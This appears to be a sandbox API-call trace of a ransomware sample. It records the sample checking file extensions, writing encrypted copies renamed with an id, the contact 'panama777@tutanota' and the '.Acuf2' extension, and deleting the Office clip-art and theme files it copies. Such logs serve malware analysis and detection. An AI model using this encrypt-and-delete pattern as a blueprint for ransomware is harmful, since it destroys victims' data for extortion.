	[0255.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63
	[0255.406] lstrlenW (lpString=".jpg") returned 4
	[0255.406] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.406] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.406] lstrlenW (lpString="PARNT_06.MID") returned 12
	[0255.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.407] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=7768) returned 1
	[0255.407] CloseHandle (hObject=0x334) returned 1
	[0255.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 0x20
	[0255.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.407] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.408] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0255.408] GetLastError () returned 0x0
	[0255.408] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x1e58, lpOverlapped=0x0) returned 1
	[0255.410] WriteFile (in: hFile=0x354, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x1e60, lpOverlapped=0x0) returned 1
	[0255.411] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.411] WriteFile (in: hFile=0x354, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.411] SetEndOfFile (hFile=0x354) returned 1
	[0255.411] CloseHandle (hObject=0x354) returned 1
	[0255.411] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.411] SetEndOfFile (hFile=0x334) returned 1
	[0255.413] CloseHandle (hObject=0x334) returned 1
	[0255.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 1
	[0255.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63
	[0255.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63
	[0255.414] lstrlenW (lpString=".doc") returned 4
	[0255.414] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.414] lstrlenW (lpString=".docx") returned 5
	[0255.414] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1
	[0255.414] lstrlenW (lpString=".pdf") returned 4
	[0255.414] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.414] lstrlenW (lpString=".xls") returned 4
	[0255.414] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.414] lstrlenW (lpString=".xlsx") returned 5
	[0255.414] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1
	[0255.414] lstrlenW (lpString=".ppt") returned 4
	[0255.414] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63
	[0255.414] lstrlenW (lpString=".zip") returned 4
	[0255.414] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.414] lstrlenW (lpString=".rar") returned 4
	[0255.414] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.414] lstrlenW (lpString=".bz2") returned 4
	[0255.414] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.414] lstrlenW (lpString=".7z") returned 3
	[0255.414] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63
	[0255.414] lstrlenW (lpString=".dbf") returned 4
	[0255.414] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63
	[0255.414] lstrlenW (lpString=".1cd") returned 4
	[0255.414] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63
	[0255.414] lstrlenW (lpString=".jpg") returned 4
	[0255.414] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63
	[0255.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63
	[0255.415] lstrlenW (lpString=".doc") returned 4
	[0255.415] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.415] lstrlenW (lpString=".docx") returned 5
	[0255.415] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1
	[0255.415] lstrlenW (lpString=".pdf") returned 4
	[0255.415] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.415] lstrlenW (lpString=".xls") returned 4
	[0255.415] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.415] lstrlenW (lpString=".xlsx") returned 5
	[0255.415] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1
	[0255.415] lstrlenW (lpString=".ppt") returned 4
	[0255.415] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63
	[0255.415] lstrlenW (lpString=".zip") returned 4
	[0255.415] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.415] lstrlenW (lpString=".rar") returned 4
	[0255.415] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.415] lstrlenW (lpString=".bz2") returned 4
	[0255.543] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.543] lstrlenW (lpString=".7z") returned 3
	[0255.543] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63
	[0255.543] lstrlenW (lpString=".dbf") returned 4
	[0255.543] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63
	[0255.543] lstrlenW (lpString=".1cd") returned 4
	[0255.543] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63
	[0255.543] lstrlenW (lpString=".jpg") returned 4
	[0255.543] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.543] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.543] lstrlenW (lpString="PARNT_10.MID") returned 12
	[0255.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0255.567] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=5393) returned 1
	[0255.567] CloseHandle (hObject=0x28c) returned 1
	[0255.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 0x20
	[0255.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0256.021] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.021] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0256.122] GetLastError () returned 0x0
	[0256.122] ReadFile (in: hFile=0x344, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x1511, lpOverlapped=0x0) returned 1
	[0256.163] WriteFile (in: hFile=0x29c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x1520, lpOverlapped=0x0) returned 1
	[0256.164] ReadFile (in: hFile=0x344, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.164] WriteFile (in: hFile=0x29c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.164] SetEndOfFile (hFile=0x29c) returned 1
	[0256.164] CloseHandle (hObject=0x29c) returned 1
	[0256.164] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.164] SetEndOfFile (hFile=0x344) returned 1
	[0256.168] CloseHandle (hObject=0x344) returned 1
	[0256.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 1
	[0256.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63
	[0256.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63
	[0256.263] lstrlenW (lpString=".doc") returned 4
	[0256.263] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0256.263] lstrlenW (lpString=".docx") returned 5
	[0256.263] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1
	[0256.263] lstrlenW (lpString=".pdf") returned 4
	[0256.263] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0256.263] lstrlenW (lpString=".xls") returned 4
	[0256.263] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0256.263] lstrlenW (lpString=".xlsx") returned 5
	[0256.263] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1
	[0256.263] lstrlenW (lpString=".ppt") returned 4
	[0256.263] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0256.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63
	[0256.264] lstrlenW (lpString=".zip") returned 4
	[0256.264] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0256.264] lstrlenW (lpString=".rar") returned 4
	[0256.264] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0256.264] lstrlenW (lpString=".bz2") returned 4
	[0256.264] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0256.264] lstrlenW (lpString=".7z") returned 3
	[0256.264] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0256.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63
	[0256.264] lstrlenW (lpString=".dbf") returned 4
	[0256.264] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0256.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63
	[0256.264] lstrlenW (lpString=".1cd") returned 4
	[0256.264] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0256.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63
	[0256.264] lstrlenW (lpString=".jpg") returned 4
	[0256.264] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0256.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63
	[0256.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63
	[0256.264] lstrlenW (lpString=".doc") returned 4
	[0256.264] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0256.264] lstrlenW (lpString=".docx") returned 5
	[0256.264] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1
	[0256.264] lstrlenW (lpString=".pdf") returned 4
	[0256.264] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0256.264] lstrlenW (lpString=".xls") returned 4
	[0256.264] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0256.264] lstrlenW (lpString=".xlsx") returned 5
	[0256.264] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1
	[0256.265] lstrlenW (lpString=".ppt") returned 4
	[0256.265] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0256.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63
	[0256.265] lstrlenW (lpString=".zip") returned 4
	[0256.265] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0256.265] lstrlenW (lpString=".rar") returned 4
	[0256.265] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0256.265] lstrlenW (lpString=".bz2") returned 4
	[0256.265] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0256.265] lstrlenW (lpString=".7z") returned 3
	[0256.265] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0256.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63
	[0256.265] lstrlenW (lpString=".dbf") returned 4
	[0256.265] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0256.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63
	[0256.265] lstrlenW (lpString=".1cd") returned 4
	[0256.265] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0256.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63
	[0256.265] lstrlenW (lpString=".jpg") returned 4
	[0256.265] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0256.265] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0256.265] lstrlenW (lpString="Aspect.eftx") returned 11
	[0256.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.715] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=22554) returned 1
	[0256.715] CloseHandle (hObject=0x334) returned 1
	[0256.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 0x20
	[0256.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.715] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.715] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0256.716] GetLastError () returned 0x0
	[0256.716] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x581a, lpOverlapped=0x0) returned 1
	[0256.752] WriteFile (in: hFile=0x340, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x5820, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x5820, lpOverlapped=0x0) returned 1
	[0256.753] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.753] WriteFile (in: hFile=0x340, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0256.753] SetEndOfFile (hFile=0x340) returned 1
	[0256.753] CloseHandle (hObject=0x340) returned 1
	[0256.754] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.754] SetEndOfFile (hFile=0x334) returned 1
	[0256.764] CloseHandle (hObject=0x334) returned 1
	[0256.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 1
	[0256.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78
	[0256.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78
	[0256.764] lstrlenW (lpString=".doc") returned 4
	[0256.765] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.765] lstrlenW (lpString=".docx") returned 5
	[0256.765] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.765] lstrlenW (lpString=".pdf") returned 4
	[0256.765] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.765] lstrlenW (lpString=".xls") returned 4
	[0256.765] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.765] lstrlenW (lpString=".xlsx") returned 5
	[0256.765] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.765] lstrlenW (lpString=".ppt") returned 4
	[0256.765] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0256.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78
	[0256.765] lstrlenW (lpString=".zip") returned 4
	[0256.765] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.765] lstrlenW (lpString=".rar") returned 4
	[0256.765] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.765] lstrlenW (lpString=".bz2") returned 4
	[0256.765] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.765] lstrlenW (lpString=".7z") returned 3
	[0256.765] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78
	[0256.765] lstrlenW (lpString=".dbf") returned 4
	[0256.765] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0256.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78
	[0256.765] lstrlenW (lpString=".1cd") returned 4
	[0256.765] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78
	[0256.765] lstrlenW (lpString=".jpg") returned 4
	[0256.765] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78
	[0256.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78
	[0256.765] lstrlenW (lpString=".doc") returned 4
	[0256.766] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.766] lstrlenW (lpString=".docx") returned 5
	[0256.766] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.766] lstrlenW (lpString=".pdf") returned 4
	[0256.766] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.766] lstrlenW (lpString=".xls") returned 4
	[0256.766] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.766] lstrlenW (lpString=".xlsx") returned 5
	[0256.766] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.766] lstrlenW (lpString=".ppt") returned 4
	[0256.766] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0256.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78
	[0256.766] lstrlenW (lpString=".zip") returned 4
	[0256.766] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.766] lstrlenW (lpString=".rar") returned 4
	[0256.766] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.766] lstrlenW (lpString=".bz2") returned 4
	[0256.766] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.766] lstrlenW (lpString=".7z") returned 3
	[0256.766] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78
	[0256.766] lstrlenW (lpString=".dbf") returned 4
	[0256.766] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0256.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78
	[0256.766] lstrlenW (lpString=".1cd") returned 4
	[0256.766] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78
	[0256.766] lstrlenW (lpString=".jpg") returned 4
	[0256.766] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.767] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0256.767] lstrlenW (lpString="Couture.eftx") returned 12
